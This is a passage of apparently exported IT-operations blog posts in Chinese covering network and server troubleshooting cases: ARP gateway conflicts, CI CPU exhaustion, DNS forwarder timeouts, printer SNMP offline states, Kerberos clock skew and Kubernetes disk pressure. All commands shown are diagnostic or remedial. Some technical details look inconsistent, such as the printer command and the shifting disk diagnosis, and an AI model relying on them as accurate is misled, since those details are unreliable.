60 个工位端口和一个会议室的墙插。网络规划为 VLAN 30（192.168.30.0/24），网关为 192.168.30.1，由核心交换机提供 VLAN 间路由。\n故障现象\r下午 2:30 开始，3 楼多名同事反馈网络间歇性断网。现象非常规律：\n每 15-20 分钟触发一次 断网期间 ping 网关 192.168.30.1 丢包率 80-90% 断网持续 2-3 分钟后自动恢复 恢复后一切正常，直到 15 分钟后再次断网 断网期间可以在本网段内互 ping（同 VLAN 通信正常，跨 VLAN 不通） 典型现象是浏览器页面打不开、企业微信掉线、内网 OA 超时。\n排查过程\r第一步：基础网络诊断\r断网时登录到故障终端检查：\n1 2 3 4 5 6 7 8 9 10 11 PS\u0026gt; ipconfig /all IPv4 Address: 192.168.30.85 Subnet Mask: 255.255.255.0 Default Gateway: 192.168.30.1 DHCP Server: 192.168.30.1 PS\u0026gt; arp -a Interface: 192.168.30.85 --- 0x16 Internet Address Physical Address Type 192.168.30.1 00-0c-29-3a-7b-1e dynamic 192.168.30.1 8c-53-c3-12-45-8f dynamic # 两个不同MAC！ 网关 IP 对应了两个不同的 MAC 地址——这是 ARP 欺骗的经典特征！\n00-0c-29-3a-7b-1e 是 VMware 虚拟网卡（核心交换机的 MAC） 8c-53-c3-12-45-8f 是小米设备的 OUI（小米公司） 第二步：抓包确认\r在接入交换机上做端口镜像，用 Wireshark 在断网期间抓包：\n1 2 3 4 filter: arp Time Src MAC Src IP Dst IP 16:12:15.523 00-0c-29-3a-7b-1e 192.168.30.1 192.168.30.0/24 (正常ARP) 16:12:15.789 8c-53-c3-12-45-8f 192.168.30.1 192.168.30.0/24 (伪造ARP!) 一台小米设备在以 192.168.30.1 的身份广播免费 ARP（Gratuitous ARP），持续宣告\u0026quot;我才是网关\u0026quot;。\n第三步：追踪恶意设备\rMAC 地址表追踪：\n1 2 3 [H3C] display mac-address 8c53-c312-458f MAC Address VLAN Port State 8c53-c312-458f 30 GigabitEthernet1/0/12 Learned 对应端口为 G1/0/12——会议室墙插。\n会议室里发现了一台员工自带的小米路由器。该路由器 WAN 口接入了墙插，LAN 口被用来给手机充电（只插了电源线无网线），但路由器的 DHCP 服务已自动开启。\n第四步：分析断网-恢复的循环机制\r小米路由器通过 WAN 口从公司 DHCP 获取了 192.168.30.200，但它自身开启了 DHCP 服务且地址池默认为 192.168.30.100-192.168.30.250，发送的 DHCP OFFER 中也包含自己作为网关。\n同时，路由器启动了 ARP 代理功能，收到 ARP 请求时会以自己的 MAC 地址应答——于是出现了\u0026quot;双网关 MAC\u0026quot;现象。\n为什么是 15 分钟周期？因为 Windows 的 ARP 缓存超时时间默认为 ArpCacheLife = 15 分钟。终端缓存了正版网关的 ARP 后在周期内正常，过期后重新发起 ARP 请求，有概率收到小米的伪造应答，于是切换到\u0026quot;假网关\u0026quot;，流量被黑洞。\n解决方案\r物理拔除：立即拔掉小米路由器的 WAN 口网线，问题当场恢复。\n交换机端口安全加固：\n1 2 3 4 [H3C] interface GigabitEthernet1/0/12 [H3C-GigabitEthernet1/0/12] port-security enable [H3C-GigabitEthernet1/0/12] port-security max-mac-count 1 [H3C-GigabitEthernet1/0/12] port-security port-mode autolearn 全局开启 DHCP Snooping + DAI（Dynamic ARP Inspection）： 1 2 3 4 [H3C] dhcp snooping enable [H3C] interface GigabitEthernet1/0/1 to GigabitEthernet1/0/48 [H3C-range] dhcp snooping trust # 上联口设trust [H3C-range] arp detection enable # 开启ARP检测 根因分析\r直接原因：员工自带的小米路由器接入公司网络后，其内置 DHCP 服务和 ARP 代理功能干扰了正常网络通信，终端随机获取到假网关的 MAC 地址。\n深层原因：\n接入交换机未启用端口安全，任何设备插上就能通信 未部署 DHCP Snooping，无法阻止非法 DHCP 服务器 未部署 ARP 防护（DAI），无法过滤伪造的 ARP 报文 缺少\u0026quot;禁止私接网络设备\u0026quot;的行政管理制度 预防措施\r技术层面： 全交换机启用 DHCP Snooping + DAI + IP Source Guard 接入端口绑定端口安全（max-mac-count=1） 802.1X 准入控制，陌生设备无法获取网络访问权限 管理层面： 发布《办公网络安全管理规定》，明确禁止私接路由器、随身WiFi等设备 新员工入职时签署网络安全承诺书 监控告警： 监控交换机日志中的 MAC flapping 和 duplicate IP 事件 ARP 表异常变动触发告警 总结\r一个价值 99 元的小米路由器，差点瘫痪了整个楼层的网络。\u0026ldquo;自带设备\u0026quot;是办公网络中最大的不可控因素。ARP 欺骗不是只有黑客才会做，很多时候一个同事的无心之举就能造成同等级别的破坏。从源头上看，只要开启 DHCP Snooping + DAI + 端口安全这\u0026quot;三件套\u0026rdquo;，99% 的类似事件都可以在接入层被扼杀在摇篮里。\n","date":"2024-08-14T16:10:00Z","permalink":"/posts/518dc9fb/","title":"记一次 ARP 欺骗攻击导致的楼层网络间歇断网"},{"content":"问题背景\r公司研发团队使用 GitLab CI/CD 进行代码检查和镜像构建，所有 Runner 以 Docker executor 方式运行在一台 64 核 256GB 的物理机上。配置了 8 个 GitLab Runner，单个 Runner 最大并发 concurrent=8，理论最大并发任务数 64 个。日均 Pipeline 执行约 2000 次。\n故障现象\r上午 10:30 开始，GitLab CI/CD 流水线大面积失败，错误信息集中在：\n1 2 3 ERROR: Job failed: preparing environment: waiting for pod/runner-xxx to be running, status Pending timeout: the script was killed by timeout Runner 宿主机负载飙升：\n1 2 3 4 5 $ uptime 11:15:00 up 42 days, 3:15, 2 users, load average: 85.23, 78.56, 65.89 $ top -bn1 | head -5 %Cpu(s): 98.2 us, 1.5 sy, 0.0 ni, 0.0 id, 0.0 wa 64 核 CPU 全部打满到 100%，load average 高达 85。Docker daemon 也因 CPU 争抢而响应缓慢，导致新容器无法及时创建——CI 任务全部超时。\n排查过程\r第一步：定位 CPU 消耗来源\r1 2 3 4 5 6 $ docker stats --no-stream --format \u0026#34;table {{.Name}}\\t{{.CPUPerc}}\\t{{.MemUsage}}\u0026#34; NAME CPU % MEM USAGE/LIMIT runner-abc123-build 625.50% 2.1GB / 256GB runner-def456-build 618.22% 2.3GB / 256GB runner-ghi789-test 312.40% 1.5GB / 256GB ... 多个构建容器各占用 600%+ CPU，远超预期。进入容器内部查看：\n1 2 3 4 5 6 $ docker exec -it runner-abc123-build top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5821 root 20 0 852412 234560 12340 R 99.7 0.1 12:45.32 cc1plus 5825 root 20 0 756234 198340 10450 R 99.5 0.1 12:42.18 cc1plus 5829 root 20 0 812456 215600 11230 R 99.3 0.1 12:41.55 cc1plus ...共18个cc1plus进程 cc1plus 是 GCC 的 C++ 编译器内部进程。有人在构建大型 C++ 项目，且开了 18 个并行编译任务。\n第二步：检查 Runner 并发设置\r1 2 3 4 5 # /etc/gitlab-runner/config.toml concurrent = 8 # 每个Runner最大并发任务数 [[runners]] limit = 64 # 全局限制：最多64个并发任务 ... 此时 Runner 上有 28 个正在执行的任务，其中 8 个是多线程 C++ 编译，每个使用了 -j$(nproc) 启动 64 个编译线程。但 Docker 默认不限制 CPU，容器内 nproc 看到的是宿主机的 64 核，实际每个构建容器都在尝试跑满 64 核。\n第三步：分析 Docker CPU 隔离问题\r1 2 3 4 5 6 7 8 $ docker inspect runner-abc123-build | jq \u0026#39;.[].HostConfig\u0026#39; { \u0026#34;CpuShares\u0026#34;: 0, # 未设置 CPU 权重 \u0026#34;CpuPeriod\u0026#34;: 0, # 未设置 CPU 周期 \u0026#34;CpuQuota\u0026#34;: 0, # 未设置 CPU 配额 \u0026#34;CpusetCpus\u0026#34;: \u0026#34;\u0026#34;, # 未绑定核心 ... } 所有构建容器均无任何 CPU 限制，每个容器都可以使用的全部 64 核。\n解决方案\r紧急处理：暂停非关键 Pipeline\r通过 GitLab API 批量取消正在排队的非关键构建任务，将并发恢复到可控水平。\n修复 Runner 配置\r1 2 3 4 5 6 7 8 9 # config.toml concurrent = 4 # 降低每 Runner 并发 limit = 32 # 全局限制降到32 [[runners]] [runners.docker] cpu_shares = 512 # CPU 权重（默认1024），降低构建容器优先级 cpus = \u0026#34;4\u0026#34; # 每个容器最多用4核 cpuset_cpus = \u0026#34;0-63\u0026#34; # 但可以跨所有物理核心 优化构建策略\r容器内限制编译并行度：在 CI 脚本中显式设置 make -j4 而非 make -j$(nproc) 调整 Docker daemon 配置： 1 2 3 4 5 // /etc/docker/daemon.json { \u0026#34;default-cpus\u0026#34;: \u0026#34;4\u0026#34;, \u0026#34;cpu-rt-runtime\u0026#34;: 0 } 引入构建缓存：使用 Docker layer cache + 分布式缓存（如 GCS/S3 as cache backend），减少重复编译。 根因分析\r直接原因：多个 C++ 构建任务在无 CPU 限制的容器中启动 64 线程并行编译，64 核宿主机被完全打满。Docker daemon 的 API 调用因 CPU 争抢而超时，新构建任务无法启动，形成恶性循环。\n深层原因：\nRunner 配置中 concurrent 和 limit 设置过高，未与宿主机物理资源匹配 Docker 容器未设置 CPU 资源限制，单容器可消耗全部核心 CI 脚本中使用了 nproc 自动探测核心数，在 Docker 容器中返回的是宿主机核心数 缺少 CI Runner 资源使用监控和限流机制 预防措施\r强制 CPU 限制：所有 CI Runner 容器默认分配 --cpus=4，编译任务使用 make -j4 并发上限策略：全局并发上限 ≤ 物理核心数 / 单容器核心数（64/4 = 16），而非盲目设置 64 CI 资源监控：Prometheus + Grafana 监控 Runner 宿主机 CPU、任务排队深度、构建时长分布 构建优先级队列：区分关键服务构建和普通构建，高峰期优先调度发布相关 Pipeline 构建规范文档：要求各团队在 .gitlab-ci.yml 中显式指定并行度，禁止使用 nproc 总结\rDocker 提供了资源隔离，但默认是\u0026quot;无限\u0026quot;模式——容器可以看到宿主机的全部 CPU，也能用满。这在 CI/CD 场景下尤其危险，因为构建任务天然容易触发 CPU 密集型编译。正确的做法是：宿主机总核心数 / 每容器限制核心数 = 最大安全并发数。同时，CI 脚本中永远不要用 nproc 来决定并行度，这是给自己埋坑。\n","date":"2024-07-03T11:30:00Z","permalink":"/posts/248e1301/","title":"记一次 GitLab Runner 并发构建压垮宿主机的排查"},{"content":"问题背景\r公司内网 DNS 由两台 BIND 服务器组成主从架构，对内解析 *.corp.company.com，对外域名通过 forwarders 转发到运营商 DNS 做递归解析。全公司约 500 台办公终端，DHCP 下发 DNS 为这两台内网 DNS。\n故障现象\r6 月下旬开始，IT 服务台陆续收到\u0026quot;网络很慢\u0026quot;的投诉。用户描述高度一致：\n\u0026ldquo;打开一个网页，浏览器左下角显示\u0026rsquo;正在解析主机\u0026rsquo;，等 5-10 秒后才开始加载，但加载页面内的图片/视频速度又很快。\u0026rdquo;\n使用 curl 测试也验证了这一点：\n1 2 3 4 5 6 7 # DNS 阶段耗时异常 $ curl -w \u0026#34;DNS: %{time_namelookup}s, TCP: %{time_connect}s, Total: %{time_total}s\\n\u0026#34; \\ -o /dev/null -s https://www.baidu.com DNS: 5.2s, TCP: 0.03s, Total: 5.5s # DNS解析花了5.2秒！ $ curl -w \u0026#34;DNS: %{time_namelookup}s...\u0026#34; -o /dev/null -s https://www.baidu.com DNS: 0.05s, TCP: 0.03s, Total: 0.3s # 第二次就快了（缓存命中） 首次访问外网域名的 DNS 解析异常缓慢（5-10 秒），但解析结果缓存后再次访问秒开——典型的 DNS 递归查询超时。\n排查过程\r第一步：定位 DNS 延时归属\r1 2 3 $ dig www.baidu.com @192.168.1.10 +stats ;; Query time: 5203 msec # 内网DNS响应5.2秒 ;; SERVER: 192.168.1.10#53(192.168.1.10) 内网 DNS 自身响应就要 5 秒。直接查询运营商 DNS：\n1 2 $ dig www.baidu.com @114.114.114.114 +stats ;; Query time: 12 msec # 外部DNS响应12ms 外部 DNS 速度快——问题出在内网 DNS 的 forwarders 配置上。\n第二步：检查内网 DNS 转发器配置\r1 2 3 4 5 6 7 8 9 10 $ cat /etc/bind/named.conf.options options { forwarders { 202.96.209.133; # 上海电信 DNS（已废弃的旧地址！） 202.96.209.5; # 上海电信 DNS 114.114.114.114; # 114 DNS }; ... forward first; # first = 先转发，超时后自己递归 }; first 策略表示：先尝试转发给 forwarders，如果所有 forwarders 都超时或失败，再自行递归。\n第三步：逐个测试 forwarders\r1 2 3 4 5 6 7 8 $ dig www.baidu.com @202.96.209.133 +time=5 +retry=0 ;; connection timed out; no servers could be reached # 第一个DNS不可达！ $ dig www.baidu.com @202.96.209.5 +time=5 ;; Query time: 5230 msec # 第二个很慢 $ dig www.baidu.com @114.114.114.114 +time=5 ;; Query time: 15 msec # 第三个正常 第一个 forwarder 202.96.209.133 已经彻底不可达。由于 forward first 策略，BIND 会按顺序尝试每个 forwarder，每个超时约 2-3 秒（默认超时），两个不可达/慢的加起来刚好 5 秒。\n第四步：分析为什么缓存命中也偶发缓慢\r当 BIND 缓存中的记录过期需要重新解析时，如果用户请求恰好落在缓存过期和重新解析的时间窗口，就需要等待 forwarders 响应。高峰期这个窗口频繁出现。\n解决方案\r更新 forwarders 配置： 1 2 3 4 5 forwarders { 223.5.5.5; # 阿里 DNS（公网） 119.29.29.29; # DNSPod（公网） }; forward only; # 改为 only，不自行递归 验证性能： 1 2 3 $ rndc flush # 清除缓存后测试 $ dig www.baidu.com @192.168.1.10 +stats ;; Query time: 15 msec # 恢复至15ms 配置响应缓存优化： 1 2 max-cache-ttl 86400; # 最大缓存24小时 max-ncache-ttl 300; # 否定缓存5分钟 根因分析\r直接原因：BIND forwarders 列表中的第一个 DNS 服务器 202.96.209.133 已下线，每次查询都需要等待该地址超时（约 2.5 秒），加上第二个 forwarder 响应也较慢，总计可达 5 秒以上。\n深层原因：\n内网 DNS 配置多年未更新，运营商的 DNS 地址变更后没有同步调整 forward first 策略在 forwarders 不可靠时放大了故障影响 缺少对 DNS 服务器查询延迟的监控 预防措施\rDNS 监控：通过 Zabbix 监控每台 DNS 的递归查询平均响应时间，设置 \u0026gt;500ms 告警 forwarders 定期验证：每月用 dig +time=3 测试所有 forwarders 可达性和响应时间 使用 DNS over HTTPS：考虑将 forwarders 升级为支持 DoH 的公共 DNS，减少运营商 DNS 变更的影响 DNS 配置版本管理：将 /etc/bind/ 纳入 Git 管理，变更记录可追溯 冗余架构：保持主从两台 DNS 的 forwarders 配置一致，但使用不同的上游 DNS 组合 总结\rDNS 是互联网世界的\u0026quot;电话簿\u0026quot;，它的一个微小延时会被前端的每一项网络请求放大。这次故障的根本原因极其简单——一个硬编码了多年的\u0026quot;死地址\u0026quot;，但由于 DNS 的层级缓存掩盖了问题（缓存命中时感觉很快），让大家误以为是\u0026quot;网络波动\u0026quot;而非配置问题。对于运维来说，定期验证 DNS forwarders 的健康状态应该是\u0026quot;开机自检\u0026quot;级别的例行工作。\n","date":"2024-06-26T14:20:00Z","permalink":"/posts/5ce994e9/","title":"记一次内网 DNS 递归超时导致的网页间歇卡顿"},{"content":"问题背景\r公司财务部门共享一台 HP LaserJet M507dn 黑白激光打印机，通过 USB 连接到一台 Windows 10 工控机，以 Windows 共享打印的方式供同楼层 20 名财务人员使用。日均打印量约 500 页，以 A4 票据和报表为主。\n故障现象\r2024 年 5 月初开始，财务同事陆续反馈：打印机每隔 1-2 小时会自动显示\u0026quot;脱机\u0026quot;状态，期间的打印任务全部进入队列等待。每次联系 IT 过去重启 Print Spooler 服务后恢复，但过不了多久又会脱机。\n1 2 3 4 PS\u0026gt; Get-Printer -Name \u0026#34;HP-M507-Finance\u0026#34; | Select PrinterStatus, JobCount PrinterStatus JobCount -------------- -------- Offline 47 # 积压47个任务 重启服务的脚本成了\u0026quot;每日必修课\u0026quot;，一天要执行五六次。\n排查过程\r第一步：检查基础连接\r1 2 3 4 5 PS\u0026gt; Test-Connection 192.168.10.45 -Count 10 # 工控机IP Reply from 192.168.10.45: bytes=32 time\u0026lt;1ms # 网络正常 PS\u0026gt; ping 192.168.10.88 -Count 5 # 打印机IP（自带网口） Reply from 192.168.10.88: bytes=32 time=2ms # 网络正常 网络连通性无问题。打印机 Web 管理页面也能正常打开。\n第二步：检查系统日志\r1 PS\u0026gt; Get-EventLog -LogName System -Source \u0026#34;Print\u0026#34; -Newest 20 | Format-List 日志中出现规律性的错误：\n1 2 3 4 Event ID: 372 Source: Microsoft-Windows-PrintService The print spooler failed to communicate with printer HP-M507-Finance because the SNMP query timed out. 每 90 分钟左右出现一次 SNMP 超时，然后打印机状态变更为 Offline。\n第三步：检查打印机电源管理\r登录打印机 Web 管理界面 → 设置 → 电源管理：\n1 2 休眠定时器: 90 分钟 休眠后唤醒方式: 仅物理按键 打印机设置了 90 分钟无任务自动休眠。进入休眠后，打印机网口模块也进入低功耗状态，无法响应 SNMP 查询。\n第四步：对比 SNMP 和 WSD\rWindows 默认使用两种协议检测打印机状态：\nSNMP：主动轮询打印机状态，超时后判定脱机 WSD（Web Services for Devices）：被动接收打印机事件通知 当前配置中，SNMP 轮询间隔为 60 秒，而打印机休眠后 SNMP 无响应 → 被判定为脱机 → 休眠期间无任务 → 无法自然唤醒 → 恶性循环。\n解决方案\r方案一（推荐，已实施）：关闭 SNMP 状态检测 1 2 # 关闭该打印机的 SNMP 状态轮询 Set-Printer -Name \u0026#34;HP-M507-Finance\u0026#34; -PortName \u0026#34;IP_192.168.10.88\u0026#34; 在端口配置中取消勾选 \u0026ldquo;SNMP Status Enabled\u0026rdquo;。\n方案二（备选）：延长打印机休眠时间 在 Web 管理界面将休眠定时器从 90 分钟延长到 480 分钟（工作时间不进入休眠）。\n方案三（长期）：启用 WSD 在打印机和工控机上同时启用 WSD 协议，WSD 能在打印机恢复时主动通知 Windows，比 SNMP 轮询更可靠。\n最终方案：关闭 SNMP 检测 + 禁用工作时间休眠，双管齐下。\n根因分析\r直接原因：打印机进入节能休眠 → 网口模块停止响应 SNMP 查询 → Windows 判定打印机 Offline → 累积打印任务 → 人工重启恢复 → 下次休眠复发。\n深层原因：HP 企业级打印机的默认 90 分钟休眠策略是为欧美办公环境设计的（打印频率高、不间断），与财务部门的实际使用模式（高峰集中在上午、下午各固定时段打印报表）不匹配。\n预防措施\r打印机准入标准：新打印机上线前统一配置电源策略，关闭工作时间休眠或设置 \u0026gt;8 小时 端口配置模板：所有共享打印机默认关闭 SNMP 状态检测，改用 WSD 事件通知 监控脚本：编写定时检测脚本，发现 Offline 状态超过 5 分钟自动重启 Print Spooler 打印服务文档：更新 IT 知识库，记录常见打印机脱机的排查步骤 总结\r打印机\u0026quot;脱机\u0026quot;是桌面运维中最常见的报修之一，但多数时候不是网络或驱动问题，而是打印机节能策略与 Windows 检测机制的冲突。SNMP 轮询在打印机醒着时好使，一旦打印机节能，就成了\u0026quot;狼来了\u0026quot;。关闭 SNMP 检测虽然会失去打印机状态的主动感知，但对共享打印机来说，用户体验的改善远大于状态监控的损失。\n","date":"2024-05-09T10:15:00Z","permalink":"/posts/a9919450/","title":"部门共享打印机为何间歇脱机、打印任务积压？"},{"content":"问题背景\r公司使用 FortiGate 防火墙自带的 SSL VPN 功能为远程办公用户提供接入服务，认证方式为 LDAP + Radius 双因子认证，LDAP 对接 AD 域控做身份验证，Radius 对接企业微信的 OTP 验证码。高峰期在线 VPN 用户约 150 人。\n故障现象\r周一早上 7:45，IT 服务台陆续收到超过 30 个 VPN 连接失败的工单。现象一致：用户在 FortiClient 中输入账号密码后，界面长时间显示\u0026quot;正在连接\u0026quot;，约 60 秒后提示\u0026quot;认证失败\u0026quot;或\u0026quot;连接超时\u0026quot;。到 8:30 高峰期时，VPN 在线用户数从平时的 120 人骤降至 8 人。\nFortiGate 日志中大量出现：\n1 2 SSL VPN login failed: LDAP authentication timeout for user zhangsan (Connection timed out) 排查过程\r第一步：确认网络连通性\r1 2 $ ping vpn.company.com # 正常，SSL端口可达 $ curl -k https://vpn.company.com:443/remote/login # 登录页正常加载 VPN 网关本身可达，认证页面正常——问题出在认证后端。\n第二步：单独测试 LDAP\r在 FortiGate 上执行 LDAP 诊断：\n1 2 # 进入 FortiOS CLI diagnose test authserver ldap \u0026lt;server-name\u0026gt; zhangsan password 输出显示 LDAP 查询超时。登录 AD 域控检查：\n1 2 3 4 5 6 PS\u0026gt; Get-Service -Name NTDS, DNS, KDC | Select Name, Status Name Status ---- ------ NTDS Running DNS Running KDC Running # 所有服务运行正常 1 2 PS\u0026gt; netstat -ano | findstr :389 # LDAP 端口正常监听 PS\u0026gt; netstat -ano | findstr :88 # Kerberos 端口正常监听 AD 服务全部运行中，端口正常。\n第三步：检查时间同步——找到根因\r1 2 3 4 5 6 7 8 9 10 PS C:\\\u0026gt; w32tm /query /status Leap Indicator: 0(no warning) Stratum: 1 Precision: -6 (15.625ms per tick) Root Delay: 0.0000000s Root Dispersion: 10.0000000s ReferenceId: 0x4C4F434C (source IP: 192.168.1.100) # 指向自己？ Last Successful Sync Time: 2024-04-14 03:00:05 # 3天前！ Source: Local CMOS Clock # 源是CMOS时钟！ Poll Interval: 10 (1024s) 域控 NTP 服务在 4 月 14 日之后停止同步外部时间源，本地 CMOS 时钟已经漂移了 +7 分钟。\n1 2 3 4 5 PS C:\\\u0026gt; net time \\\\dc01 Current time at \\\\dc01 is 2024-04-17 7:57:32 PS C:\\\u0026gt; w32tm /stripchart /computer:pool.ntp.org 07:50:15, +423.8716583s # 与标准时间偏差7分钟！ FortiGate 通过 NTP 同步了标准时间，而 AD 域控快了 7 分钟。Kerberos 协议要求客户端和 KDC 之间的时间偏差不超过 5 分钟（默认），超过后票据验证失败。\n第四步：确认 Kerberos 认证失败\r在 FortiGate 侧做更详细的抓包：\n1 2 3 4 5 packet: src=10.1.1.10:389 dst=10.1.2.1:52345 LDAP bindRequest =\u0026gt; response: resultCode: invalidCredentials (49) errorMessage: 80090308: LdapErr: DSID-0C0905EF, data 52e, v3839 错误码 52e 表示凭据无效，但在域控日志中实际是 KRB_AP_ERR_SKEW（时钟偏差过大），只是 LDAP 层包装成了通用认证失败。\n解决方案\r紧急修复： 1 2 3 # 域控上强制执行 NTP 时间同步 w32tm /config /syncfromflags:manual /manualpeerlist:\u0026#34;pool.ntp.org,0x9\u0026#34; /update w32tm /resync /force 验证：FortiGate 上执行 diagnose test authserver ldap 重新测试，认证成功。\n验证 Kerberos 票据：\n1 klist tickets # 确认新票据时间戳正确 同步完成后，VPN 登录在 3 分钟内逐步恢复。\n根因分析\r直接原因：AD 域控的 Windows Time 服务在上周系统更新后配置丢失，回退为使用本地 CMOS 时钟，3 天内漂移了 7 分钟。Kerberos 协议要求时间偏差 ≤5 分钟，超限后票据验证失败，LDAP 认证超时。\n深层原因：\n域控未配置冗余的 NTP 源（只配了一个内部 NTP，该 NTP 本身就是域控自己） FortiGate 的 LDAP 超时设置过短（10 秒），且错误提示不区分\u0026quot;服务器不可达\u0026quot;和\u0026quot;认证失败\u0026quot; 缺少域控 NTP 同步状态监控 预防措施\rNTP 冗余配置：域控配置至少 3 个外部 NTP 源，避免单点故障 NTP 监控告警：通过 Zabbix 监控域控 NTP 同步状态和时间偏差 Kerberos 容错参数：评估将最大时钟偏差从 5 分钟调整到 10 分钟的可行性 LDAP 超时优化：将 FortiGate LDAP 超时设置为 30 秒，并区分超时类型记录日志 定期巡检：每月检查所有域控的时间同步状态 总结\r一个看似与网络毫无关系的\u0026quot;AD 域控时间不准\u0026quot;问题，最终演变成了全公司远程办公中断。Kerberos 协议对时间的严格要求是双刃剑——既提供了防重放攻击的安全保障，又在时间偏差时成为故障源。对于依赖多系统协同的认证链路（VPN → LDAP → AD/Kerberos），时间同步是最容易被忽视但又最致命的一环。\n","date":"2024-04-17T07:50:00Z","permalink":"/posts/dc39561c/","title":"SSL VPN 认证超时致大量用户无法远程办公的定位"},{"content":"问题背景\r某日上午 10:00 左右，监控平台开始陆续推送 K8s 集群告警：多个 Pod 处于 Pending 或 Evicted 状态，部分服务出现间歇性不可用。\n查看集群状态，发现有 3 个工作节点出现 DiskPressure 状态，kubelet 开始自动驱逐节点上的 Pod 以释放空间，导致相关服务的副本数不足，触发了监控告警。\n集群为 K8s v1.26，节点操作系统为 CentOS 7，每个节点配置 100GB 系统盘（/ 分区）。\n故障现象\rkubectl get nodes 显示 3 个节点状态带有 DiskPressure 条件 受影响节点上的 Pod 被驱逐（Evicted），重新调度到其他节点后其他节点也逐渐出现磁盘压力 kubectl describe node \u0026lt;node-name\u0026gt; 显示： 1 2 3 Conditions: Type Status Reason Message DiskPressure True KubeletHasDiskPressure imagefs is available: 2% \u0026lt; 10% 被驱逐的 Pod 状态为 Evicted，大量积压： 1 2 kubectl get pods -A | grep Evicted | wc -l # 输出：127 排查过程\r第一步：查看节点磁盘使用情况\r登录出现 DiskPressure 的节点（以 node-03 为例）：\n1 df -h 输出：\n1 2 3 Filesystem Size Used Avail Use% Mounted on /dev/sda1 97G 95G 1.8G 99% / tmpfs 16G 0 16G 0% /dev/shm 系统盘使用率 99%！几乎满了。\n第二步：找出磁盘占用大的目录\r1 du -sh /* 2\u0026gt;/dev/null | sort -rh | head -20 输出：\n1 2 3 42G /var 38G /var/log ... /var/log 占用了 38GB！进入查看：\n1 du -sh /var/log/* | sort -rh | head -20 输出：\n1 2 3 35G /var/log/containers 2.1G /var/log/pods 890M /var/log/messages /var/log/containers 占用 35GB，这是容器日志目录。\n第三步：分析容器日志目录\r1 ls -lhS /var/log/containers/ | head -20 发现有几个日志文件异常巨大：\n1 2 3 -rw-r----- 1 root root 18G Mar 12 09:55 business-api-xxx_default_business-api-xxxxxxx.log -rw-r----- 1 root root 9G Mar 12 09:48 data-sync-xxx_default_data-sync-xxxxxxx.log -rw-r----- 1 root root 6.2G Mar 12 08:30 log-collector-xxx_kube-system_log-collector-xxxxxxx.log business-api 这个容器的日志文件高达 18GB，data-sync 的日志 9GB。\n第四步：查看 kubelet 日志轮转配置\rK8s 的 kubelet 支持对容器日志进行自动轮转，相关参数为：\n1 cat /etc/kubernetes/kubelet-config.yaml | grep -i log 输出：\n1 2 containerLogMaxSize: \u0026#34;10Mi\u0026#34; containerLogMaxFiles: 5 等等——配置明明设置了单个日志文件最大 10MB，为什么实际文件有 18GB？\n第五步：确认 kubelet 是否真正加载了该配置\r1 ps aux | grep kubelet 输出：\n1 /usr/bin/kubelet --config=/etc/kubernetes/kubelet-config.yaml ... 看起来配置文件是加载了的，但再仔细检查配置文件：\n1 cat /etc/kubernetes/kubelet-config.yaml 1 2 3 4 5 6 7 8 apiVersion: kubelet.config.k8s.io/v1beta1 kind: KubeletConfiguration containerLogMaxSize: \u0026#34;10Mi\u0026#34; containerLogMaxFiles: 5 evictionHard: memory.available: \u0026#34;200Mi\u0026#34; nodefs.available: \u0026#34;10%\u0026#34; imagefs.available: \u0026#34;10%\u0026#34; 配置看起来正确……但为什么没有生效？\n第六步：深入排查日志轮转未生效的原因\r查看 kubelet 的实际运行时日志：\n1 journalctl -u kubelet --since \u0026#34;2 hours ago\u0026#34; | grep -i \u0026#34;log\u0026#34; 发现一条警告：\n1 W0312 09:23:15.123456 1234 kubelet.go:567] \u0026#34;Failed to rotate container log\u0026#34; err=\u0026#34;error truncating file: ...\u0026#34; containerID=\u0026#34;...\u0026#34; 日志轮转失败！原因是 error truncating file，进一步查看：\n1 journalctl -u kubelet --since \u0026#34;2 hours ago\u0026#34; | grep -i \u0026#34;truncat\u0026#34; 1 W0312 ... \u0026#34;Failed to truncate log file\u0026#34; path=\u0026#34;/var/log/containers/business-api-xxx.log\u0026#34; err=\u0026#34;truncate /var/log/containers/business-api-xxx.log: read-only file system\u0026#34; 关键信息：read-only file system，磁盘挂载为只读了！\n1 dmesg | tail -50 | grep -i \u0026#34;error\\|readonly\\|remount\u0026#34; 1 2 [1234567.890] EXT4-fs error (device sda1): ext4_journal_check_start:61: Detected aborted journal [1234567.891] EXT4-fs (sda1): Remounting filesystem read-only 根本原因找到了：磁盘写满 → 文件系统出错（journal abort）→ 内核自动将文件系统 remount 为只读 → kubelet 无法轮转日志文件 → 日志文件不断增大（等等，如果文件系统只读，为什么日志还能写入？）\n再仔细看：发现这台节点上 business-api 容器使用了 hostPath 挂载，日志输出路径是 /data/logs/，挂载的是另一块数据盘（/dev/sdb），而 /dev/sdb 挂载的 /data 目录没有配置日志轮转，数据盘的日志一直增长，而我们之前找到的 18GB 日志文件是软链接，指向了 /data/logs/ 下的实际文件。\n1 2 ls -la /var/log/containers/business-api-xxx.log # lrwxrwxrwx ... /var/log/containers/business-api-xxx.log -\u0026gt; /data/logs/business-api/app.log 数据盘 /dev/sdb 也满了，但报错发生在系统盘 /dev/sda1。这是两个叠加的问题。\n解决方案\r立即处理\r清理已驱逐的 Pod 记录（Evicted 状态的 Pod 不会自动清除）：\n1 kubectl get pods -A | grep Evicted | awk \u0026#39;{print $1, $2}\u0026#39; | xargs -n2 kubectl delete pod -n 清理超大日志文件（谨慎操作，先确认不影响业务）：\n1 2 3 4 5 # 对于仍在写入的日志，不要直接 rm，使用截断方式 \u0026gt; /data/logs/business-api/app.log # 或使用 truncate truncate -s 0 /data/logs/business-api/app.log 修复系统盘只读问题（需要重启或 remount）：\n1 2 3 # 运行 fsck（需要先 umount 或在 rescue 模式下操作） # 在线 remount（临时恢复读写，不修复 journal 问题） mount -o remount,rw / 长期修复\r1. 为应用容器的 hostPath 日志添加 logrotate 配置：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 创建 /etc/logrotate.d/business-api cat \u0026gt; /etc/logrotate.d/business-api \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; /data/logs/business-api/*.log { daily rotate 7 compress delaycompress missingok notifempty size 500M postrotate # 发送 SIGHUP 给应用重新打开日志文件（如应用支持） kill -HUP $(cat /var/run/business-api.pid) 2\u0026gt;/dev/null || true endscript } EOF 2. 对 K8s 容器日志设置合理的 size 限制和 TTL：\n在应用的 K8s Deployment 中，使用 terminationMessagePolicy 和日志驱动层面控制。或推荐将应用日志输出到 stdout/stderr，由 kubelet 统一管理轮转（不使用 hostPath）。\n3. 